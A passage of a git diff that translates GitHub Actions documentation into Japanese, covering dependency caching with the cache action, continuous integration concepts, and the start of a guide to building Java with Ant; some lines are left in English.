 ---
-title: Caching dependencies to speed up workflows
-shortTitle: Caching dependencies
-intro: 'To make your workflows faster and more efficient, you can create and use caches for dependencies and other commonly reused files.'
+title: 依存関係をキャッシュしてワークフローのスピードを上げる
+shortTitle: 依存関係のキャッシング
+intro: ワークフローを高速化して効率を上げるために、依存関係や広く再利用されるファイルに対するキャッシュを作成して利用できます。
 redirect_from:
   - /github/automating-your-workflow-with-github-actions/caching-dependencies-to-speed-up-workflows
   - /actions/automating-your-workflow-with-github-actions/caching-dependencies-to-speed-up-workflows
@@ -15,13 +15,13 @@ topics:
   - Workflows
 ---
 
-## About caching workflow dependencies
+## ワークフローの依存関係のキャッシングについて
 
-Workflow runs often reuse the same outputs or downloaded dependencies from one run to another. For example, package and dependency management tools such as Maven, Gradle, npm, and Yarn keep a local cache of downloaded dependencies.
+ワークフローの実行は、しばしば他の実行と同じ出力あるいはダウンロードされた依存関係を再利用します。 たとえばMaven、Gradle、npm、Yarnといったパッケージ及び依存関係管理ツールは、ダウンロードされた依存関係のローカルキャッシュを保持します。
 
-Jobs on {% data variables.product.prodname_dotcom %}-hosted runners start in a clean virtual environment and must download dependencies each time, causing increased network utilization, longer runtime, and increased cost. To help speed up the time it takes to recreate these files, {% data variables.product.prodname_dotcom %} can cache dependencies you frequently use in workflows.
+{% data variables.product.prodname_dotcom %}ホストランナー上のジョブは、クリーンな仮想環境で開始され、依存関係を毎回ダウンロードしなければならず、ネットワークの利用率を増大させ、実行時間が長くなり、コストが高まってしまいます。 これらのファイルの再生成にかかる時間を短縮しやすくするために、{% data variables.product.prodname_dotcom %}はワークフロー内で頻繁に使われる依存関係をキャッシュできます。
 
-To cache dependencies for a job, you'll need to use {% data variables.product.prodname_dotcom %}'s `cache` action. The action retrieves a cache identified by a unique key. For more information, see [`actions/cache`](https://github.com/actions/cache).
+ジョブのために依存関係をキャッシュするには、{% data variables.product.prodname_dotcom %}の`cache`アクションを使わなければなりません。 このアクションは、ユニークなキーで指定されるキャッシュを取得します。 詳しい情報については「[`actions/cache`](https://github.com/actions/cache)」を参照してください。
 
 If you are caching the package managers listed below, consider using the respective setup-* actions, which require almost zero configuration and are easy to use.
 
@@ -54,43 +54,43 @@ If you are caching the package managers listed below, consider using the respect
 
 {% warning %}
 
-**Warning**: We recommend that you don't store any sensitive information in the cache of public repositories. For example, sensitive information can include access tokens or login credentials stored in a file in the cache path. Also, command line interface (CLI) programs like `docker login` can save access credentials in a configuration file. Anyone with read access can create a pull request on a repository and access the contents of the cache. Forks of a repository can also create pull requests on the base branch and access caches on the base branch.
+**警告**: パブリックリポジトリのキャッシュには、センシティブな情報を保存しないことをおすすめします。 たとえばキャッシュパス内のファイルに保存されたアクセストークンあるいはログインクレデンシャルなどがセンシティブな情報です。 また、`docker login`のようなコマンドラインインターフェース（CLI）プログラムは、アクセスクレデンシャルを設定ファイルに保存することがあります。 読み取りアクセスを持つ人は誰でも、リポジトリにプルリクエストを作成し、キャッシュの内容にアクセスできます。 リポジトリのフォークも、ベースブランチ上にプルリクエストを作成し、ベースブランチ上のキャッシュにアクセスできます。
 
 {% endwarning %}
 
-## Comparing artifacts and dependency caching
+## 成果物の比較と依存関係のキャッシング
 
-Artifacts and caching are similar because they provide the ability to store files on {% data variables.product.prodname_dotcom %}, but each feature offers different use cases and cannot be used interchangeably.
+成果物とキャッシングは、{% data variables.product.prodname_dotcom %}にファイルを保存できるようにするので似ていますが、それぞれの機能のユースケースは異なっており、入れ替えて使うことはできません。
 
-- Use caching when you want to reuse files that don't change often between jobs or workflow runs.
-- Use artifacts when you want to save files produced by a job to view after a workflow has ended. For more information, see "[Persisting workflow data using artifacts](/github/automating-your-workflow-with-github-actions/persisting-workflow-data-using-artifacts)."
+- キャッシングは、ジョブやワークフローの実行間で頻繁に変化しないファイルを再利用したいときに使ってください。
+- ジョブによって生成されたファイルをワークフローの終了後に見るために保存したい場合に成果物を使ってください。 詳しい情報については「[成果物を利用してワークフローのデータを永続化する](/github/automating-your-workflow-with-github-actions/persisting-workflow-data-using-artifacts)」を参照してください。
 
-## Restrictions for accessing a cache
+## キャッシュへのアクセスについての制限
 
-With `v2` of the `cache` action, you can access the cache in workflows triggered by any event that has a `GITHUB_REF`. If you are using `v1` of the `cache` action, you can only access the cache in workflows triggered by `push` and `pull_request` events, except for the `pull_request` `closed` event. For more information, see "[Events that trigger workflows](/actions/reference/events-that-trigger-workflows)."
+`cache` アクションの `v2` を使用すると、`GITHUB_REF` を含むイベントによってトリガーされるワークフローのキャッシュにアクセスできます。 `cache` アクションの `v1` を使用している場合、`pull_request` の `closed` イベントを除いて、`push` イベントと `pull_request` イベントによってトリガーされるワークフローでのみキャッシュにアクセスできます。 詳しい情報については、「[ワークフローをトリガーするイベント](/actions/reference/events-that-trigger-workflows)」を参照してください。
 
-A workflow can access and restore a cache created in the current branch, the base branch (including base branches of forked repositories), or the default branch (usually `main`). For example, a cache created on the default branch would be accessible from any pull request. Also, if the branch `feature-b` has the base branch `feature-a`, a workflow triggered on `feature-b` would have access to caches created in the default branch (`main`), `feature-a`, and `feature-b`.
+ワークフローは、現在のブランチ、ベースブランチ（フォークされたリポジトリのベースブランチを含む）、またはデフォルトブランチ（通常は `main`）で作成されたキャッシュにアクセスして復元できます。 たとえば、デフォルトブランチで作成されたキャッシュは、どのPull Requestからもアクセスできます。 また、`feature-b` ブランチに `feature-a` ベースブランチがある場合、`feature-b` でトリガーされたワークフローは、デフォルトのブランチ（`main`）、`feature-a`、および `feature-b` で作成されたキャッシュにアクセスできます。
 
-Access restrictions provide cache isolation and security by creating a logical boundary between different branches. For example, a cache created for the branch `feature-a` (with the base `main`) would not be accessible to a pull request for the branch `feature-b` (with the base `main`).
+Access restrictions provide cache isolation and security by creating a logical boundary between different branches. たとえば、`feature-a` ブランチ（ベース `main` を使用）向けに作成されたキャッシュは、`feature-b` ブランチ（ベース `main` を使用）のPull Requestにアクセスできません。
 
 Multiple workflows within a repository share cache entries. A cache created for a branch within a workflow can be accessed and restored from another workflow for the same repository and branch.
 
-## Using the `cache` action
+## `cache`アクションの利用
 
-The `cache` action will attempt to restore a cache based on the `key` you provide. When the action finds a cache, the action restores the cached files to the `path` you configure.
+`cache`アクションは、提供された`key`に基づいてキャッシュをリストアしようとします。 このアクションは、キャッシュを見つけるとそのキャッシュされたファイルを設定された`path`にリストアします。
 
-If there is no exact match, the action creates a new cache entry if the job completes successfully. The new cache will use the `key` you provided and contains the files in the `path` directory.
+正確なマッチがなければ、ジョブが成功したならこのアクションは新しいキャッシュエントリを作成します。 新しいキャッシュは提供された`key`を使い、`path`ディレクトリ内にファイルを保存します。
 
-You can optionally provide a list of `restore-keys` to use when the `key` doesn't match an existing cache. A list of `restore-keys` is useful when you are restoring a cache from another branch because `restore-keys` can partially match cache keys. For more information about matching `restore-keys`, see "[Matching a cache key](#matching-a-cache-key)."
+既存のキャッシュに`key`がマッチしなかった場合に使われる、`restore-keys`のリストを提供することもできます。 `restore-keys`のリストは、 `restore-keys`がキャッシュキーと部分的にマッチできるので、他のブランチからのキャッシュをリストアする場合に役立ちます。 `restore-keys`のマッチに関する詳しい情報については「[キャッシュキーのマッチ](#matching-a-cache-key)」を参照してください。
 
-For more information, see [`actions/cache`](https://github.com/actions/cache).
+詳しい情報については「[`actions/cache`](https://github.com/actions/cache)」を参照してください。
 
-### Input parameters for the `cache` action
+### `cache` アクションの入力パラメータ
 
-- `key`: **Required** The key created when saving a cache and the key used to search for a cache. Can be any combination of variables, context values, static strings, and functions. Keys have a maximum length of 512 characters, and keys longer than the maximum length will cause the action to fail.
-- `path`: **Required** The file path on the runner to cache or restore. The path can be an absolute path or relative to the working directory.
-  - Paths can be either directories or single files, and glob patterns are supported.
-  - With `v2` of the `cache` action, you can specify a single path, or you can add multiple paths on separate lines. For example:
+- `key`: **必須** このキーはキャッシュの保存時に作成され、キャッシュの検索に使われます。 変数、コンテキスト値、静的な文字列、関数の任意の組み合わせが使えます。 キーの長さは最大で512文字であり、キーが最大長よりも長いとアクションは失敗します。
+- `path`: **必須** ランナーがキャッシュあるいはリストアをするファイルパス。 このパスは、絶対パスでも、ワーキングディレクトリからの相対パスでもかまいません。
+  - パスはディレクトリまたは単一ファイルのいずれかで、glob パターンがサポートされています。
+  - `cache` アクションの `v2` では、単一のパスを指定することも、別々の行に複数のパスを追加することもできます。 例:
     ```
     - name: Cache Gradle packages
       uses: actions/cache@v2
@@ -99,16 +99,16 @@ For more information, see [`actions/cache`](https://github.com/actions/cache).
           ~/.gradle/caches
           ~/.gradle/wrapper
     ```
-  - With `v1` of the `cache` action, only a single path is supported and it must be a directory. You cannot cache a single file.
-- `restore-keys`: **Optional** An ordered list of alternative keys to use for finding the cache if no cache hit occurred for `key`.
+  - `cache` アクションの `v1` では、単一のパスのみがサポートされ、かつそれがディレクトリである必要があります。 単一のファイルをキャッシュすることはできません。
+- `restore-keys`: **オプション** `key`に対するキャッシュヒットがなかった場合にキャッシュを見つけるために使われる代理キーの順序付きリスト。
 
-### Output parameters for the `cache` action
+### `cache`アクションの出力パラメータ
 
-- `cache-hit`: A boolean value to indicate an exact match was found for the key.
+- `cache-hit`: キーの完全一致が見つかったことを示すブール値。
 
-### Example using the `cache` action
+### `cache` アクションの使用例
 
-This example creates a new cache when the packages in `package-lock.json` file change, or when the runner's operating system changes. The cache key uses contexts and expressions to generate a key that includes the runner's operating system and a SHA-256 hash of the `package-lock.json` file.
+以下の例では、`package-lock.json`ファイル内のパッケージが変更された場合、あるいはランナーのオペレーティングシステムが変更された場合に新しいキャッシュが作成されます。 キャッシュキーはコンテキストと式を使い、ランナーのオペレーティングシステムと`package-lock.json`ファイルのSHA-256ハッシュを含むキーを生成します。
 
 {% raw %}
 ```yaml{:copy}
@@ -128,7 +128,7 @@ jobs:
         env:
           cache-name: cache-node-modules
         with:
-          # npm cache files are stored in `~/.npm` on Linux/macOS
+          # npm キャッシュファイルは Linux/macOS の `~/.npm` に保存される
           path: ~/.npm
           key: ${{ runner.os }}-build-${{ env.cache-name }}-${{ hashFiles('**/package-lock.json') }}
           restore-keys: |
@@ -147,23 +147,23 @@ jobs:
 ```
 {% endraw %}
 
-When `key` matches an existing cache, it's called a cache hit, and the action restores the cached files to the `path` directory.
+`key`が既存のキャッシュにマッチした場合はキャッシュヒットと呼ばれ、このアクションはキャッシュされたファイルを`path`ディレクトリにリストアします。
 
-When `key` doesn't match an existing cache, it's called a cache miss, and a new cache is created if the job completes successfully. When a cache miss occurs, the action searches for alternate keys called `restore-keys`.
+`key`が既存のキャッシュにマッチしなかった場合はキャッシュミスと呼ばれ、ジョブが成功して完了したなら新しいキャッシュが作成されます。 キャッシュミスが生じた場合、このアクションは`restore-keys`と呼ばれる代理キーを検索します。
 
-1. If you provide `restore-keys`, the `cache` action sequentially searches for any caches that match the list of `restore-keys`.
-   - When there is an exact match, the action restores the files in the cache to the `path` directory.
-   - If there are no exact matches, the action searches for partial matches of the restore keys. When the action finds a partial match, the most recent cache is restored to the `path` directory.
-1. The `cache` action completes and the next workflow step in the job runs.
-1. If the job completes successfully, the action creates a new cache with the contents of the `path` directory.
+1. `restore-keys`が渡された場合、`cache`アクションは`restore-keys`のリストにマッチするキャッシュを順番に検索します。
+   - 完全なマッチがあった場合、アクションはそのファイルを`path`ディレクトリ中のキャッシュにリストアします。
+   - 完全なマッチがなかった場合、アクションはリストアキーに対する部分一致を検索します。 アクションが部分一致を見つけた場合、最も最近のキャッシュが`path`ディレクトリにリストアされます。
+1. `cache` アクションが完了し、ジョブ内の次のワークフローステップが実行されます。
+1. ジョブが成功して完了したなら、アクションは`path`ディレクトリの内容で新しいキャッシュを作成します。
 
-To cache files in more than one directory, you will need a step that uses the [`cache`](https://github.com/actions/cache) action for each directory. Once you create a cache, you cannot change the contents of an existing cache but you can create a new cache with a new key.
+複数のディレクトリにファイルをキャッシュするには、各ディレクトリごとに[`cache`](https://github.com/actions/cache) アクションを使うステップが必要です。 キャッシュをいったん作成すると、既存のキャッシュの内容を変更することはできませんが、新しいキーで新しいキャッシュを作成することはできます。
 
-### Using contexts to create cache keys
+### コンテキストを使ったキャッシュキーの作成
 
-A cache key can include any of the contexts, functions, literals, and operators supported by {% data variables.product.prodname_actions %}. For more information, see "[Expressions](/actions/learn-github-actions/expressions)."
+キャッシュキーには、コンテキスト、関数、リテラル、{% data variables.product.prodname_actions %}がサポートする演算子を含めることができます。 For more information, see "[Expressions](/actions/learn-github-actions/expressions)."
 
-Using expressions to create a `key` allows you to automatically create a new cache when dependencies have changed. For example, you can create a `key` using an expression that calculates the hash of an npm `package-lock.json` file.
+式を使って`key`を作成すれば、依存関係が変化したときに自動的に新しいキャッシュを作成できます。 たとえばnpmの`package-lock.json`ファイルのハッシュを計算する式を使って`key`を作成できます。
 
 {% raw %}
 ```yaml
@@ -171,19 +171,19 @@ npm-${{ hashFiles('package-lock.json') }}
 ```
 {% endraw %}
 
-{% data variables.product.prodname_dotcom %} evaluates the expression `hash "package-lock.json"` to derive the final `key`.
+{% data variables.product.prodname_dotcom %}は`hash "package-lock.json"`という式を評価して、最終的な`key`を導出します。
 
 ```yaml
 npm-d5ea0750
 ```
 
-## Matching a cache key
+## キャッシュキーのマッチング
 
-The `cache` action first searches for cache hits for `key` and `restore-keys` in the branch containing the workflow run. If there are no hits in the current branch, the `cache` action searches for `key` and `restore-keys` in the parent branch and upstream branches.
+`cache` アクションは最初に、ワークフロー実行を含むブランチで `key` および `restore-keys` のキャッシュヒットを検索します。 現在のブランチにヒットがない場合、`cache` アクションは、親ブランチと上流のブランチで `key` および `restore-keys` を検索します。
 
-You can provide a list of restore keys to use when there is a cache miss on `key`. You can create multiple restore keys ordered from the most specific to least specific. The `cache` action searches for `restore-keys` in sequential order. When a key doesn't match directly, the action searches for keys prefixed with the restore key. If there are multiple partial matches for a restore key, the action returns the most recently created cache.
+`key`でキャッシュミスがあった場合に使うリストアキーのリストを提供できます。 特定の度合いが強いものから弱いものへ並べて複数のリストアキーを作成できます。 `cache`アクションは順番に`restore-keys`を検索していきます。 キーが直接マッチしなかった場合、アクションはリストアキーでプレフィックスされたキーを検索します。 リストアキーに対して複数の部分一致があった場合、アクションは最も最近に作成されたキャッシュを返します。
 
-### Example using multiple restore keys
+### 複数のリストアキーの利用例
 
 {% raw %}
 ```yaml
@@ -194,7 +194,7 @@ restore-keys: |
 ```
 {% endraw %}
 
-The runner evaluates the expressions, which resolve to these `restore-keys`:
+ランナーは式を評価します。この式は以下のような`restore-keys`になります。
 
 {% raw %}
 ```yaml
@@ -205,13 +205,13 @@ restore-keys: |
 ```
 {% endraw %}
 
-The restore key `npm-foobar-` matches any key that starts with the string `npm-foobar-`. For example, both of the keys `npm-foobar-fd3052de` and `npm-foobar-a9b253ff` match the restore key. The cache with the most recent creation date would be used. The keys in this example are searched in the following order:
+リストアキーの`npm-foobar-`は、`npm-foobar-`という文字列で始まる任意のキーにマッチします。 たとえば`npm-foobar-fd3052de`や`npm-foobar-a9b253ff`というキーはいずれもこのリストアキーにマッチします。 最も最近の期日に作成されたキャッシュが使われます。 この例でのキーは、以下の順序で検索されます。
 
-1. **`npm-foobar-d5ea0750`** matches a specific hash.
-1. **`npm-foobar-`** matches cache keys prefixed with `npm-foobar-`.
-1. **`npm-`** matches any keys prefixed with `npm-`.
+1. **`npm-foobar-d5ea0750`**は特定のハッシュにマッチします。
+1. **`npm-foobar-`**は`npm-foobar-`をプレフィックスとするキャッシュキーにマッチします。
+1. **`npm-`**は`npm-`をプレフィックスとする任意のキーにマッチします。
 
-#### Example of search priority
+#### 検索の優先度の例
 
 ```yaml
 key:
@@ -221,15 +221,15 @@ restore-keys: |
   npm-
 ```
 
-For example, if a pull request contains a `feature` branch (the current scope) and targets the default branch (`main`), the action searches for `key` and `restore-keys` in the following order:
+たとえば、プルリクエストに `feature` ブランチ（現在のスコープ）が含まれ、デフォルトブランチ（`main`）をターゲットにしている場合、アクションは次の順序で `key` と `restore-keys` を検索します。
 
-1. Key `npm-feature-d5ea0750` in the `feature` branch scope
-1. Key `npm-feature-` in the `feature` branch scope
-2. Key `npm-` in the `feature` branch scope
-1. Key `npm-feature-d5ea0750` in the `main` branch scope
-3. Key `npm-feature-` in the `main` branch scope
-4. Key `npm-` in the `main` branch scope
+1. `feature`ブランチのスコープ内で`npm-feature-d5ea0750`というキー
+1. `feature`ブランチのスコープ内で`npm-feature-`というキー
+2. `feature`ブランチのスコープ内で`npm-`というキー
+1. `main` ブランチのスコープ内で `npm-feature-d5ea0750` というキー
+3. `main` ブランチのスコープ内で `npm-feature-` というキー
+4. `main` ブランチのスコープ内で `npm-` というキー
 
-## Usage limits and eviction policy
+## 利用制限と退去のポリシー
 
-{% data variables.product.prodname_dotcom %} will remove any cache entries that have not been accessed in over 7 days. There is no limit on the number of caches you can store, but the total size of all caches in a repository is limited to 10 GB. If you exceed this limit, {% data variables.product.prodname_dotcom %} will save your cache but will begin evicting caches until the total size is less than 10 GB.
+{% data variables.product.prodname_dotcom %}は、7日間以上アクセスされていないキャッシュエントリを削除します。 保存できるキャッシュ数には上限がありませんが、1つのリポジトリ内のすべてのキャッシュの合計サイズは10GBに制限されます。 この制限を超えた場合、{% data variables.product.prodname_dotcom %}はキャッシュを保存しますが、合計サイズが10GB以下になるまでキャッシュを退去させはじめます。
diff --git a/translations/ja-JP/content/actions/automating-builds-and-tests/about-continuous-integration.md b/translations/ja-JP/content/actions/automating-builds-and-tests/about-continuous-integration.md
index 5c660e6ecb..941d889e9d 100644
--- a/translations/ja-JP/content/actions/automating-builds-and-tests/about-continuous-integration.md
+++ b/translations/ja-JP/content/actions/automating-builds-and-tests/about-continuous-integration.md
@@ -1,5 +1,5 @@
 ---
-title: About continuous integration
+title: 継続的インテグレーションについて
 intro: 'You can create custom continuous integration (CI) workflows directly in your {% data variables.product.prodname_dotcom %} repository with {% data variables.product.prodname_actions %}.'
 redirect_from:
   - /articles/about-continuous-integration
@@ -15,37 +15,37 @@ versions:
 type: overview
 topics:
   - CI
-shortTitle: Continuous integration
+shortTitle: 継続的インテグレーション
 ---
 
 {% data reusables.actions.enterprise-beta %}
 {% data reusables.actions.enterprise-github-hosted-runners %}
 
-## About continuous integration
+## 継続的インテグレーションについて
 
-Continuous integration (CI) is a software practice that requires frequently committing code to a shared repository. Committing code more often detects errors sooner and reduces the amount of code a developer needs to debug when finding the source of an error. Frequent code updates also make it easier to merge changes from different members of a software development team. This is great for developers, who can spend more time writing code and less time debugging errors or resolving merge conflicts.
+継続的インテグレーション (CI) とは、ソフトウェアの開発においてコードを頻繁に共有リポジトリにコミットする手法のことです。 コードをコミットする頻度が高いほどエラーの検出が早くなり、開発者がエラーの原因を見つけるためにデバッグしなければならないコードの量も減ります。 コードの更新が頻繁であれば、ソフトウェア開発チームの他のメンバーによる変更をマージするのも、それだけ容易になります。 コードの記述により多くの時間をかけられるようになり、エラーのデバッグやマージコンフリクトの解決にかける時間が減るので、これは開発者にとって素晴らしいやり方です。
 
-When you commit code to your repository, you can continuously build and test the code to make sure that the commit doesn't introduce errors. Your tests can include code linters (which check style formatting), security checks, code coverage, functional tests, and other custom checks.
+コードをリポジトリにコミットするとき、コミットによってエラーが発生しないように、コードのビルドとテストを継続的に行うことができます。 テストには、コードの文法チェッカー (スタイルフォーマットをチェックする)、セキュリティチェック、コードカバレッジ、機能テスト、その他のカスタムチェックを含めることができます。
 
-Building and testing your code requires a server. You can build and test updates locally before pushing code to a repository, or you can use a CI server that checks for new code commits in a repository.
+コードをビルドしてテストするには、サーバーが必要です。 ローカルでアップデートのビルドとテストを行ってからコードをリポジトリにプッシュする方法もありますし、リポジトリ での新しいコードのコミットをチェックするCIサーバーを使用する方法もあります。
 
-## About continuous integration using {% data variables.product.prodname_actions %}
+## {% data variables.product.prodname_actions %} を使用する継続的インテグレーションについて
 
-{% ifversion ghae %}CI using {% data variables.product.prodname_actions %} offers workflows that can build the code in your repository and run your tests. Workflows can run on runner systems that you host. For more information, see "[About self-hosted runners](/actions/hosting-your-own-runners/about-self-hosted-runners)."
-{% else %} CI using {% data variables.product.prodname_actions %} offers workflows that can build the code in your repository and run your tests. Workflows can run on {% data variables.product.prodname_dotcom %}-hosted virtual machines, or on machines that you host yourself. For more information, see "[Virtual environments for {% data variables.product.prodname_dotcom %}-hosted runners](/actions/automating-your-workflow-with-github-actions/virtual-environments-for-github-hosted-runners)" and "[About self-hosted runners](/actions/automating-your-workflow-with-github-actions/about-self-hosted-runners)."
+{% ifversion ghae %}{% data variables.product.prodname_actions %} を使用する CI は、リポジトリにコードをビルドしてテストを実行できるワークフローが利用できます。 Workflows can run on runner systems that you host. 詳しい情報については「[セルフホストランナーについて](/actions/hosting-your-own-runners/about-self-hosted-runners)」を参照してください。
+{% else %}{% data variables.product.prodname_actions %} を利用した CI では、リポジトリ中のコードをビルドしてテストを実行できるワークフローが利用できます。 ワークフローは、{% data variables.product.prodname_dotcom %} でホストされている仮想マシン、または自分がホストしているマシンで実行できます。 詳しい情報については、「[{% data variables.product.prodname_dotcom %} ホストランナーの仮想環境](/actions/automating-your-workflow-with-github-actions/virtual-environments-for-github-hosted-runners)」および「[セルフホストランナーについて](/actions/automating-your-workflow-with-github-actions/about-self-hosted-runners)」を参照してください。
 {% endif %}
 
-You can configure your CI workflow to run when a {% data variables.product.prodname_dotcom %} event occurs (for example, when new code is pushed to your repository), on a set schedule, or when an external event occurs using the repository dispatch webhook.
+CIワークフローは、{% data variables.product.prodname_dotcom %}イベントが発生する (たとえば、新しいコードがリポジトリにプッシュされ) とき、または設定したスケジュールに応じて、あるいはリポジトリディスパッチwebhookを使用して外部イベントが発生するときに実行されるように設定することができます。
 
-{% data variables.product.product_name %} runs your CI tests and provides the results of each test in the pull request, so you can see whether the change in your branch introduces an error. When all CI tests in a workflow pass, the changes you pushed are ready to be reviewed by a team member or merged. When a test fails, one of your changes may have caused the failure.
+{% data variables.product.product_name %} は CI テストを実行して、プルリクエストで各テストの結果を提供するため、ブランチの変更によってエラーが発生したかどうかを確認できます。 ワークフローのテストがすべて成功すると、プッシュした変更をチームメンバーがレビューできるように、またはマージできるようになります。 テストが失敗した場合は、いずれかの変更がその原因になっている可能性があります。
 
-When you set up CI in your repository, {% data variables.product.product_name %} analyzes the code in your repository and recommends CI workflows based on the language and framework in your repository. For example, if you use [Node.js](https://nodejs.org/en/), {% data variables.product.product_name %} will suggest a starter workflow that installs your Node.js packages and runs your tests. You can use the CI starter workflow suggested by {% data variables.product.product_name %}, customize the suggested starter workflow, or create your own custom workflow file to run your CI tests.
+リポジトリに CI を設定する際には、{% data variables.product.product_name %} がリポジトリ内のコードを分析し、リポジトリ内の言語とフレームワークに基づいて CI ワークフローを推奨します。 For example, if you use [Node.js](https://nodejs.org/en/), {% data variables.product.product_name %} will suggest a starter workflow that installs your Node.js packages and runs your tests. You can use the CI starter workflow suggested by {% data variables.product.product_name %}, customize the suggested starter workflow, or create your own custom workflow file to run your CI tests.
 
 ![Screenshot of suggested continuous integration starter workflows](/assets/images/help/repository/ci-with-actions-template-picker.png)
 
-In addition to helping you set up CI workflows for your project, you can use {% data variables.product.prodname_actions %} to create workflows across the full software development life cycle. For example, you can use actions to deploy, package, or release your project. For more information, see "[About {% data variables.product.prodname_actions %}](/articles/about-github-actions)."
+プロジェクトの CI ワークフローの設定だけでなく、{% data variables.product.prodname_actions %} を使用してソフトウェア開発のライフサイクル全体に渡るワークフローを作成することもできます。 たとえば、Actionを使用してプロジェクトをデプロイ、パッケージ、またはリリースすることが可能です。 詳しい情報については、「[{% data variables.product.prodname_actions %} について](/articles/about-github-actions)」を参照してください。
 
-For a definition of common terms, see "[Core concepts for {% data variables.product.prodname_actions %}](/github/automating-your-workflow-with-github-actions/core-concepts-for-github-actions)."
+一般的な用語の定義については「[{% data variables.product.prodname_actions %} の中核的概念](/github/automating-your-workflow-with-github-actions/core-concepts-for-github-actions)」を参照してください。
 
 ## Starter workflow
 
@@ -53,8 +53,8 @@ For a definition of common terms, see "[Core concepts for {% data variables.prod
 
 Browse the complete list of CI starter workflow offered by {% data variables.product.company_short %} in the {% ifversion fpt or ghec %}[actions/starter-workflows](https://github.com/actions/starter-workflows/tree/main/ci) repository{% else %} `actions/starter-workflows` repository on {% data variables.product.product_location %}{% endif %}.
 
-## Further reading
+## 参考リンク
 
 {% ifversion fpt or ghec %}
-- "[Managing billing for {% data variables.product.prodname_actions %}](/billing/managing-billing-for-github-actions)"
+- 「[{% data variables.product.prodname_actions %} の支払いを管理する](/billing/managing-billing-for-github-actions)」
 {% endif %}
diff --git a/translations/ja-JP/content/actions/automating-builds-and-tests/building-and-testing-java-with-ant.md b/translations/ja-JP/content/actions/automating-builds-and-tests/building-and-testing-java-with-ant.md
index ccf04b5c79..a408b1d7d0 100644
--- a/translations/ja-JP/content/actions/automating-builds-and-tests/building-and-testing-java-with-ant.md
+++ b/translations/ja-JP/content/actions/automating-builds-and-tests/building-and-testing-java-with-ant.md
@@ -1,6 +1,6 @@
 ---
-title: Building and testing Java with Ant
-intro: You can create a continuous integration (CI) workflow in GitHub Actions to build and test your Java project with Ant.
+title: AntでのJavaのビルドとテスト
+intro: GitHub Actions中で継続的インテグレーション（CI）ワークフローを作成し、AntでJavaのプロジェクトのビルドとテストを行うことができます。
 redirect_from:
   - /actions/language-and-framework-guides/building-and-testing-java-with-ant
   - /actions/guides/building-and-testing-java-with-ant
@@ -20,23 +20,23 @@ shortTitle: Build & test Java & Ant
 {% data reusables.actions.enterprise-beta %}
 {% data reusables.actions.enterprise-github-hosted-runners %}
 
-## Introduction
+## はじめに
 
-This guide shows you how to create a workflow that performs continuous integration (CI) for your Java project using the Ant build system. The workflow you create will allow you to see when commits to a pull request cause build or test failures against your default branch; this approach can help ensure that your code is always healthy. You can extend your CI workflow to upload artifacts from a workflow run.
+このガイドは、Antビルドシステムを使ってJavaのプロジェクトのための継続的インテグレーション（CI）を実行するワークフローを作成する方法を紹介します。 作成するワークフローによって、Pull Requestに対するコミットがデフォルトブランチに対してビルドあるいはテストの失敗を引き起こしたことを見ることができるようになります。このアプローチは、コードが常に健全であることを保証するための役に立ちます。 CIワークフローを拡張して、ワークフローの実行による成果物をアップロードするようにもできます。
 
 {% ifversion ghae %}
 {% data reusables.actions.self-hosted-runners-software %}
 {% else %}
-{% data variables.product.prodname_dotcom %}-hosted runners have a tools cache with pre-installed software, which includes Java Development Kits (JDKs) and Ant. For a list of software and the pre-installed versions for JDK and Ant, see "[Specifications for {% data variables.product.prodname_dotcom %}-hosted runners](/actions/reference/specifications-for-github-hosted-runners/#supported-software)".
+{% data variables.product.prodname_dotcom %}ホストランナーは、Java Development Kits（JDKs）及びAntを含むプリインストールされたソフトウェアを伴うツールキャッシュを持ちます。 JDK および Ant のソフトウェアとプリインストールされたバージョンのリストについては、「[{% data variables.product.prodname_dotcom %} でホストされているランナーの仕様](/actions/reference/specifications-for-github-hosted-runners/#supported-software)」を参照してください。
 {% endif %}
 
-## Prerequisites
+## 必要な環境
 
-You should be familiar with YAML and the syntax for {% data variables.product.prodname_actions %}. For more information, see:
-- "[Workflow syntax for {% data variables.product.prodname_actions %}](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions)"
-- "[Learn {% data variables.product.prodname_actions %}](/actions/learn-github-actions)"
+YAMLと{% data variables.product.prodname_actions %}の構文に馴染んでいる必要があります。 詳しい情報については、以下を参照してください。
+- [{% data variables.product.prodname_actions %}のワークフロー構文](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions)
+- 「[{% data variables.product.prodname_actions %} を学ぶ](/actions/learn-github-actions)」
 
-We recommend that you have a basic understanding of Java and the Ant framework. For more information, see the [Apache Ant Manual](https://ant.apache.org/manual/).
+Java及びAntフレームワークの基本的な理解をしておくことをおすすめします。 詳しい情報については[Apache Ant Manual](https://ant.apache.org/manual/)を参照してください。
 
 {% data reusables.actions.enterprise-setup-prereq %}
 
@@ -44,9 +44,9 @@ We recommend that you have a basic understanding of Java and the Ant framework.
 
 {% data variables.product.prodname_dotcom %} provides an Ant starter workflow that will work for most Ant-based Java projects. For more information, see the [Ant starter workflow](https://github.com/actions/starter-workflows/blob/main/ci/ant.yml).
 
-To get started quickly, you can choose the preconfigured Ant starter workflow when you create a new workflow. For more information, see the "[{% data variables.product.prodname_actions %} quickstart](/actions/quickstart)."
+To get started quickly, you can choose the preconfigured Ant starter workflow when you create a new workflow. 詳しい情報については、「[{% data variables.product.prodname_actions %} のクイックスタート](/actions/quickstart)」を参照してください。
 
-You can also add this workflow manually by creating a new file in the `.github/workflows` directory of your repository.
+リポジトリの`.github/workflows`に新しいファイルを作成して、手作業でこのワークフローを追加することもできます。
 
 {% raw %}
 ```yaml{:copy}
@@ -70,11 +70,11 @@ jobs:
 ```
 {% endraw %}
 
-This workflow performs the following steps:
+このワークフローは以下のステップを実行します。
 
-1. The `checkout` step downloads a copy of your repository on the runner.
-2. The `setup-java` step configures the Java 11 JDK by Adoptium.
-3. The "Build with Ant" step runs the default target in your `build.xml` in non-interactive mode.
+1. `checkout`ステップは、ランナーにリポジトリのコピーをダウンロードします。
+2. `setup-java` ステップは、 Adoptium で Java 11 JDK を設定します。
+3. "Build with Ant"ステップは、`build.xml`中のデフォルトターゲットを非インタラクティブモードで実行します。
 
 The default starter workflows are excellent starting points when creating your build and test workflow, and you can customize the starter workflow to suit your project’s needs.
 
@@ -82,13 +82,13 @@ The default starter workflows are excellent starting points when creating your b
 
 {% data reusables.github-actions.java-jvm-architecture %}
 
-## Building and testing your code
+## コードのビルドとテスト
 
-You can use the same commands that you use locally to build and test your code.
+ローカルで使うのと同じコマンドを、コードのビルドとテストに使えます。
 
